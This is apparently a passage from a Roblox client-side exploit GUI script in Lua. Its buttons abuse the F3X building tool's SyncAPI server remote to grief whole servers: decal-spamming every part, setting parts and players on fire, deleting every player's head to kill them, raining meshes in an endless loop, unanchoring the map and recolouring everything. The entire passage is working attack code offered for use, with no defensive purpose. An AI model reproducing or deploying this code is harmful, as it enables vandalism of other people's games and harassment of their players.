tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text)
end)
end;
task.spawn(C_34);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_36()
local script = G2L["36"];
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
end)
end;
task.spawn(C_36);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_38()
local script = G2L["38"];
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = workspace.Part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function Fire(player)
for i,v in player.Character:GetDescendants() do
if v:IsA("BasePart") then
AddFire(v)
end
end
DestroyPart(player.Character.Head)
end
for i,v in game.Players:GetPlayers() do
spawn(function()
pcall(function()
Fire(v)
end)
end)
end
end)
end;
task.spawn(C_38);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_3a()
local script = G2L["3a"];
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(3,3,3))
SetMesh(v,"614605299")
SetTexture(v, "614605300")
SetCollision(v,false)
else
end
end
end)
end
end)
end;
task.spawn(C_3a);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_3c()
local script = G2L["3c"];
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function KillAll()
for i,v in game.Players:GetPlayers() do
spawn(function()
SetLocked(v.Character.Head,false)
DestroyPart(v.Character.Head)
end)
end
end
KillAll()
end)
end;
task.spawn(C_3c);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_3e()
local script = G2L["3e"];
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent,types)
local args = {
[1] = "CreatePart",
[2] = types,
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
function SpawnBasePlate()
CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
for i,v in game.Workspace:GetChildren() do
if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
spawn(function()
Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
Material(v,Enum.Material.Grass)
Color(v,Color3.fromRGB(25,100,25))
while wait(1) do
pcall(function()SetLocked(v,true)end)
end
end)
end
end
end
SpawnBasePlate()
end)
end;
task.spawn(C_3e);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_40()
local script = G2L["40"];
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function BigHead(player)
local chara = player.Character
spawn(function()
SetLocked(chara.Head,false)
MeshResize(chara.Head,Vector3.new(10,10,10))
end)
end
for i,players in game.Players:GetPlayers() do
BigHead(players)
end
end)
end;
task.spawn(C_40);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_42()
local script = G2L["42"];
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
end;
task.spawn(C_42);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_44()
local script = G2L["44"];
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)))
end)
end
end
end
while wait() do
spawn(function()
randomise()
end)
end
end)
end;
